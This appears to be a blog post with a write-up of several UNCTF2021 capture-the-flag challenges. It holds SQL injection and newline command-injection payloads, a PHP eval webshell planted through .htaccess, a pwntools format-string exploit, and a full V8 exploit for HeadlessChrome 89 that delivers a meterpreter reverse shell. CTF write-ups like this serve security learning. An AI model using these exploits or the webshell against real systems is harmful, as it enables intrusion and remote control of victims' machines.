UNCTF2021 部分WP

Cola

UNCTF2021 Writeup

Web

fuzz_md5

审计源码,需传入user、pass,user需要=“unctf”,pass的md5前5位需要=“66666”。

user使用preg_replace,替换unctf为空,但仅替换一次,可使用ununctfctf双写绕过。

$a=preg_replace("/unctf/i","",$user); 

md5使用脚本爆破

import hashlib

md5 = "66666"
for asc1 in range(48,123):
    for asc2 in range(48,123):
        for asc3 in range(48,123):
            for asc4 in range(48,123):
                for asc5 in range(48,123):
                    asc = chr(asc1)+chr(asc2)+chr(asc3)+chr(asc4)+chr(asc5)
                    proof = asc 
                    digest = hashlib.md5(proof.encode('utf-8')).hexdigest()
                    if digest[0:5] == md5:
                        zhi ='-------------------------------------\n'+proof+'\n'+digest+'\n'
                        f = open("zhi.txt",'w')
                        f.write(zhi)
                        f.close()
                        print (proof+'\n'+digest+'\n')

payload:

?user=ununctfctf

pass=010LH

得到flag

在这里插入图片描述

can_you_hacked_me

F12查看,有提示源码在www.zip,访问下载得到。

在db.sql查看到账号密码为admin,AdminSecret,但提交提示“Admin only allow to login at localhost”。

审计源码发现使用了

if (strtolower($_GET['username']) == 'admin' && $_SERVER["REMOTE_ADDR"] != '127.0.0.1') {
        die('Admin only allow to login at localhost');
    }

尝试发现$_SERVER[“REMOTE_ADDR”]无法绕过
关键源码如下:

function waf1($inject) {
    preg_match("/'|union|select|&|\||and|or|\(|,/i",$inject) && die('return preg_match("/\'|union|select|&|\\||and|or|(|,/i",$inject);');
}
  
    waf1($username) || waf1($password);

    $sql = "select * from `users` where username = '$username' and password = '$password';";

    $result = $conn->query($sql);
CREATE DATABASE IF NOT EXISTS supersqli;

USE supersqli;

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(10) NOT NULL,
  `username` varchar(20) NOT NULL,
  `password` varchar(20) NOT NULL
) ENGINE=MyISAM  DEFAULT CHARSET=utf8;


INSERT INTO `users` values(1,'test', 'test'),(2,'admin','AdminSecret');

尝试SQL注入,代码过滤了很多关键词,但仔细看没有过滤掉
payload:

?username=\&password= < 1 limit 1 offset 1;--+

拼接后实际的SQL语句为

select * from `users` where username = '\' and password = ' < 1 limit 1 offset 1;

向$username传入的\将 and password = 前的’转义失效,使 and password = 成为了字符串
username = ‘\’ and password = ’ < 1在SQL中的运算结果是永真,再加上limit 1 offset 1限定到位于第2条的admin记录
得到flag

在这里插入图片描述
除此之外,还可使用’\’ and password =’^0,在SQL中’\’ and password =’^0的运算结果为数字0
而SQL中字符串与数字比较时会先将字符串转化为数字,但admin这种字符串中没有数字,转化结果为数字0
于是’admin’ = ‘’ and password =’^0会转化为0=0,条件成立。

phpmysql

审计源码,需要传入host、user、pwd、port

if(is_numeric($db_host)){
    echo("fakeflag is /flag"."<br>");
    if(preg_match("/;|\||&/is",$db_user) || preg_match("/;|\||&/is",$db_pwd) || preg_match("/;|\||&/is",$db_port)){
        die("嘉然今天吃什么");
    }
    system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
    echo("Maybe you can do someting else"."<br>");
    if(!isset($db_user) || !isset($db_pwd)){
        eval("echo new Exception(\"<script>alert('关注嘉然,顿顿解馋!!!');</script>\");");
    }
    else{
        $db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
        eval("echo new $db_user($db_pwd);");
    }
}

尝试传入默认参数,host需转为数字型,127.0.0.1为2130706433
在这里插入图片描述

使用%0a换行,执行命令

根据提示尝试cat /flag发现无法返回结果,使用ls /发现flag的文件名为fllllaaaaag

payload:

host=2130706433&user=root&pwd=root&port=3306%0als /%0a
host=2130706433&user=root&pwd=root&port=3306%0acat /fllllaaaaag%0a

得到flag

在这里插入图片描述

babywrite

审计源码,需传入filename、content写shell

if (preg_match_all("/ph|\.\.|\//i", $filename) || strlen($filename) > 10) {
        die("No way!");
    }
    if (preg_match_all("/<\?|ph/", $content)) {
        die("No way!");
    }

使用preg_match_all过滤了ph,尝试使用数组绕过

文件内容可以正常写入,但文件名变成了“Array”

尝试写入.htaccess文件重写文件解析规则,使其它格式也可被当作php解析

payload:

?filename=.htaccess&content[]=AddType application/x-httpd-php .png

写入成功,此时png文件也能够被解析

payload:

?filename=1.png&content[]=<?php @eval($_POST[a]);

在这里插入图片描述

使用蚁剑连接getshell

在根目录得到flag

在这里插入图片描述

encrypt_login

登录使用Burp Suite拦截,发现数据是加密的,无法直接暴破

在这里插入图片描述

F12查看到encrypto.js,发现使用了jsjiami.com对js进行加密混淆

进入该网站,对一个简单的js进行加密,发现结果的前两段都是多个循环的垃圾代码,关键内容在后面

尝试直接下断点调试,得到加密方法为RSA及公钥

在这里插入图片描述

-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6US5bbJ7JrsKYeSa8goPJQBgU WXdNyUxtPfcwuCrsYEcWNdnk1fpIdSfUvrku39fYl+h1ciyanp5H79uSzuqsUrPE Hzb2y+GTqdmNzZ53JPcxrFlYMv3NX0EOk3qMzgcSV/qXcAc+fWxLSTV5OVeWV8Lr KJVXPMuQVgrw/SxkBQIDAQAB

-----END PUBLIC KEY-----

t {default_key_size: 1024, default_public_exponent: “010001”, log: false, key: null}

在这里插入图片描述

会拼接为用户名|-|密码

使用bp爆破,使用BurpCrypto扩展,由于参数是默认的,无需进行特殊设置。

在这里插入图片描述

设置有效负载位置为data,根据提示用户名为admin,密码为纯数字,设置Intruder的Payloads

设置有效载荷集为数值,由于不知道具体位数,保险起见数字范围从1位数开始,设置有效负载处理,添加前缀admin|-|,调用Burp扩展

在这里插入图片描述

开始攻击,稍等片刻,在长度最短的响应中得到flag,同时也得到密码为5162

在这里插入图片描述

网页照相馆

功能是获取网页的截图,根据提示“注意User-Agent”,猜测里面也是个浏览器

使用自己的服务器,加入获取User-Agent的代码

<script>document.write(navigator.userAgent)</script>

让照相机访问该网页,成功获取

在这里插入图片描述

注意浏览器版本为HeadlessChrome/89.0.4389.114,系统为Linux x86_64

搜索得知该版本及以下存在远程代码执行漏洞,使用现成的exp:

<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [在此填入msfvenom生成的内容];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

使用时只需使用msfvenom根据实际情况生成shellcode即可。

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=IP地址 lport=端口 -f csharp

使用msfconsole开启监听模块multi/handler

use exploit/multi/handler,set payload linux/x64/meterpreter/reverse_tcp,设置相关参数

让照相机访问含有恶意代码的网页,稍等片刻,成功反连shell

查看文件,获得flag

在这里插入图片描述

Pwn

nc连接,发现有提示“format string”

IDA打开,发现后门函数,可直接执行cat flag

在这里插入图片描述

查看main,在leak()中存在可利用的漏洞

在这里插入图片描述

使用checksec查看文件安全信息

在这里插入图片描述

发现文件开启了Canary保护

在这里插入图片描述

可利用格式化字符串漏洞找出Canary距离字符数组s的偏移量为6

aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p

在这里插入图片描述

根据IDA上的信息得到s和Canary相差0x58,每8个字节为一个参数,则可计算出0x58÷8=11,11+6=17,所以最终的偏移量为17,可使用%17$p打印出Canary的地址

查看backdoor()的地址

在这里插入图片描述

使用pwntools

exp:

from pwn import *

io = remote('node2.hackingfor.fun', 39467)
context.log_level = "debug"
flag_addr = 0x40080D
io.sendlineafter('tell me,will you?\n', '%17$p')
io.recvuntil("0x")
canary = int(io.recv(16), 16)
payload = "A" * (0x58)+ p64(canary).decode('unicode_escape') +8*'A'+ p64(flag_addr).decode('unicode_escape')
io.sendline(payload)
print(io.recv())
print(io.recv())

得到flag

在这里插入图片描述

Reverse

ezlogin

IDA打开查看main,进入login()

printf("------Enter your name:");
  scanf("%s", Str);
  printf("------Enter your password:");
  scanf("%s", v19);
  v1 = strlen(Str);
  v2 = 0;
  if ( v1 <= 0 )
  {
LABEL_12:
    v4 = MessageBoxA(0, "Login Successfully!", "UNCTF2021", 0x24u);
    if ( v4 == 1 || v4 == 6 )
    {
      v5 = 0;
      qmemcpy(v17, "pqsd`fl{zmpZsag}wdYVkUNC", 24);
      v6 = 0;
      do
      {
        v7 = &v17[v5];
        for ( i = 2; i >= 0; --i )
        {
          v9 = *v7;
          v7 += 8;
          Text[v6++] = v9 ^ 0x16;
        }
        ++v5;
      }
      while ( v5 <= 4 );
      Text[v6] = 0;
      MessageBoxA(0, Text, "UNCTF2021", 0x40u);
    }
  }
  else
  {
    v3 = 0;
    while ( v19[v2] == v3 + Str[v2] )
    {
      ++v2;
      v3 += 2;
      if ( v2 >= v1 )
        goto LABEL_12;
    }
    MessageBoxA(0, "Longin Failed!", "UNCTF2021", 0x40u);
  }

发现name<=0即算登录成功,但此处必须要输入字符。

另外在else中判断了v19[v2] == v3 + Str[v2],只要满足其中的条件,就仍然会跳至登录成功。最简单的情况是name只输入1位,password的第1位和name相同。

获得flag

在这里插入图片描述

rejunk

IDA打开查看main,发现很多垃圾代码

注意到

在这里插入图片描述

只需输入的内容+2,XOR下标=WQGULxb>2:ooh95=’'twk即算成功

所以反推,XOR后-2,得出flag

在这里插入图片描述

在这里插入图片描述

py_trade

手工还原Python字节码,结果如下:



flag='XXXXXX'
num=[0]*18
k=0
for i in range(len(flag)):
    num[i]=(ord(flag[i])+i)^(k%3+1)
    num[len(flag)-i-1]=(ord(flag[len(flag)-i-1])+(len(flag)-i-1))^(k%3+1)
    k+=1
    print (num)

exp:

num=[115, 120, 96, 84, 116, 103, 105, 56, 102, 59, 127, 105, 115, 128, 95, 124, 139, 49]
k=17
for i in range(0,9):
    print(chr((num[i]^(k%3+1))-i),end='')
    k-=1
k=9
for i in range(9,18):
    print(chr((num[i]^(k%3+1))-i),end='')
    k+=1

得出flag

在这里插入图片描述

进行加密验证通过。

chall

题目提示RC4,需要脑洞

IDA打开查看main

在这里插入图片描述

密钥为当前的年份,即2021

进入process_a()

在这里插入图片描述

尝试发现,codemaker使用RC4加密后即是flag

在这里插入图片描述

Crypto

easy_rsa

已知p、q、e、c

exp:

import gmpy2
import libnum
p = 12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
q = 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
e = 65537
c = 28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
m = hex(gmpy2.powmod(c, d, n))[2:]
print (m)

得出flag

在这里插入图片描述

探秘中世纪城堡

根据题目“年轻的大帝率领着64位皇珈骑士冲破了双重阻栏夺下了城池。”

猜测由凯撒密码、base64、栅栏密码加密而成

解密得出flag

在这里插入图片描述

在这里插入图片描述

分析badusb流量

猜测是键盘键值,查阅键值表得出,注意20表示Caps Lock,2D为-

得出flag

在这里插入图片描述

baby_rsa

已知n、c、e,需要分解n,但在线网站查不到,位数过多,使用yafu也难以分解。

注意到

c=pow(m*p+n,e,n)

也就是说用来加密的明文中包含了n,c和n是有共同之处的。

RsaCtfTool中有一个攻击方法符合这种情况(attacks/single_key/comfact_cn.py)

在这里插入图片描述

修改该文件,加入print输出p、q。

在这里插入图片描述

python3 RsaCtfTool.py -n 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141 -e 65537 --uncipher 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059 --attack comfact_cn

成功得到p、q

在这里插入图片描述

exp:

import gmpy2
import libnum
p = 172354431397569365235099940061240370179571511681575675321648499739796116446233541721882395678777138404141799953624775291783630349941566122051450935783281459577495640398952136794893153461151324906425925227626564076511398407033394090665671220128353422755276355843263880135558428330412452780330015120344362264389
q = 156788429217690959122136432372486283891491745151976911418112237000098044411796015284913623304364677330939833972649008923415795522006238934649483215731958831188569337023043212323328549779698423589515561047696999930106025632087793044346255664351188784333635105774664450468975420458744197916840094961189742909769
e = 65537
c = 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = gmpy2.powmod(c, d, n)
m = hex(h//q)[2:]
print (m)

如果无法得出正确结果,可尝试调换p、q。

解出flag

在这里插入图片描述

电信诈骗pro

经试验5.#4&;Sw)2Ti%Sj1eUU9kTwiSj)1S"a8S0)6x-8(x7=为ROT47,位移量为64,使用工具解出flag

在这里插入图片描述

Misc

简单日志审计

题目上就有base64

STAKcDAKMFMnY2F0IC9DVEY/WW91U2hvdUppdVhpbmcnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu

解出/CTF?YouShouJiuXing即是flag

在这里插入图片描述

电信诈骗

qi]m^roVibdVbXUU`h

经试验第1位ASCII码加4,第2位加5,依此类推,即是flag

在这里插入图片描述

引大流咯,happy

使用010Editor打开,看不出什么,找到原图,发现题目比原图短了一截

在这里插入图片描述

修改高度

在这里插入图片描述

得出flag

在这里插入图片描述

倒立洗头

猜测是16进制,粘贴到010中,发现尾部存在倒着的jpg文件头

在这里插入图片描述

需将每个倒转

with open("key.txt",'r') as f:
   a=f.read()
c=''
for i in range(len(a)-1,-1,-2):
   c+=a[i:i+2]
with open("key1.txt",'wb') as f:
   f.write(c.encode())

再粘贴至010,修复文件头为FF D8 FF,得到图片

在这里插入图片描述

发现base64

在这里插入图片描述

解密得到佛曰密码

在这里插入图片描述

发现无法解密,原因是“曰”成了“日”,修改正确,解出flag

在这里插入图片描述

LPL

不破不立.zip需要密码,从10.png入手

010打开发现多个CRC错误

在这里插入图片描述

尝试对错误的CRC进行16进制转字符,即是压缩包密码

在这里插入图片描述

解压得到b站网址https://www.bilibili.com/bangumi/play/ep431768?from=search&seid=2681339926644936228&spm_id_from=333.337.0.0和有时间的图片,查看这一时间的评论,得到flag
在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Colazxk.xyz

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值